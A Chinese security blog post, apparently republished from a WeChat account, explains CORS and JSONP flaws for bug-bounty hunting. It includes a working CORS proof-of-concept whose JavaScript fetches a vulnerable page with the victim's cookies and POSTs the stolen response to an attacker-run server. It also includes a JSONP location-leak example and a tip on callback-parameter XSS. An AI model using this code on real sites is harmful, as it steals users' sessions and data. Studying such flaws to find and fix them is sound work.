src挖掘-cors&jsonp详解

admin 2024年5月27日00:28:37评论10 views字数 2607阅读8分41秒阅读模式

🌟 ❤️

作者:yueji0j1anke

首发于公号:剑客古月的安全屋

字数:801

阅读时间:    5min

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外


目录

  • 前言

  • 大致介绍

  • cors

  • jsonp



一.前言

最近在接触一些src的挖掘,大家可能在一些小的src平台能够逐渐看见我的名字了(bushi,别开盒我),但网上大多数讲的相关漏洞挖掘太偏向于应用,并没有详细的解析过程,故产生了这篇文章



二.大致介绍

在我最近挖到的src中,都没有遇到相关漏洞,对于jsonp和cors的印象,大致还停留在上次面试被问到这两者的区别。在这之前我们就需要知道浏览器的同源策略。

同源策略: 在同协议,同域名 同端口的情况下,两个网站可以相互执行对应页面脚本,进行资源交互

但由于业务的需求,有些时候确实需要实现跨域资源共享,这个时候就出现了jsonp和cors

两者的区别在于,cors可以支持get,put,delete,post等请求,而jsonp只能支持简单的get请求


三.cors

我对于cors的理解类似于csrf,但不同于csrf,csrf一旦添加同源协议,就无法实现,而cors正是实现在同源协议上的漏洞->即没有实施严格过滤的同源协议从而导致产生任意页面可执行加载资源的漏洞。


cors包括以下几个响应头

Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
Access-Control-Allow-Headers:指定允许的请求头字段。
Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。


这里提供一个代码实例

src挖掘-cors&jsonp详解


这个请求可以泄露自己的sessionId

验证方法->加入origin: https://www.baidu.com

观察响应体

src挖掘-cors&jsonp详解

不拦截,则证明存在该漏洞

poc如下

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <h1>CORS test</h1>
</body>
</html>
<script>
  function loadXMLDoc()
{
  var xhr1;
  var xhr2;


  if(window.XMLHttpRequest)
  {
      xhr1 = new XMLHttpRequest();
      xhr2 = new XMLHttpRequest();
  }
  else
  {
      xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
      xhr2= new ActiveXObject("Microsoft.XMLHTTP");
  }
  xhr1.onreadystatechange=function()
{
      if(xhr1.readyState == 4 &amp;&amp; xhr1.status == 200) //if receive xhr1 response
      {
          var datas=xhr1.responseText;
          xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");
          alert('3');
          xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");
          xhr2.send("T1="+escape(datas));      
      }
  }
  xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.
  alert(xhr1.responseText);
  xhr1.withCredentials = true;       //request with cookie
  xhr1.send();
}
loadXMLDoc();
</script>

然后构造一个服务端php去接受data即可

src挖掘-cors&jsonp详解


成功复现


四.jsonp

jsonp大多数跟callback参数有关(这也涉及到另外一个漏洞,jsonpxss)

jsonp跟cors几乎是同理的,只是范围小了许多,只能使用get请求

poc如下

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP暴露ip</title>
</head>
<body>
<script type="text/javascript">
function ip_callback(result)
      {
  alert(result.result.country);
alert(result.result.province);
alert(result.result.city);
          alert(result.result.ip);
      }
</script>
<script type="text/javascript" src="https://ipservice.ws.126.net/locate/api/getLocByIp?callback=ip_callback"></script>
</body>
</html>

而jsonp的xss测试方法则更为简单

两个条件

1.返回包里面的content-type为text/html

2.callback参数可控,直接插入<script>标签即可看返回页面。




原文始发于微信公众号(剑客古月的安全屋):src挖掘-cors&jsonp详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月27日00:28:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   src挖掘-cors&jsonp详解https://cn-sec.com/archives/2780893.html

发表评论

匿名网友 填写信息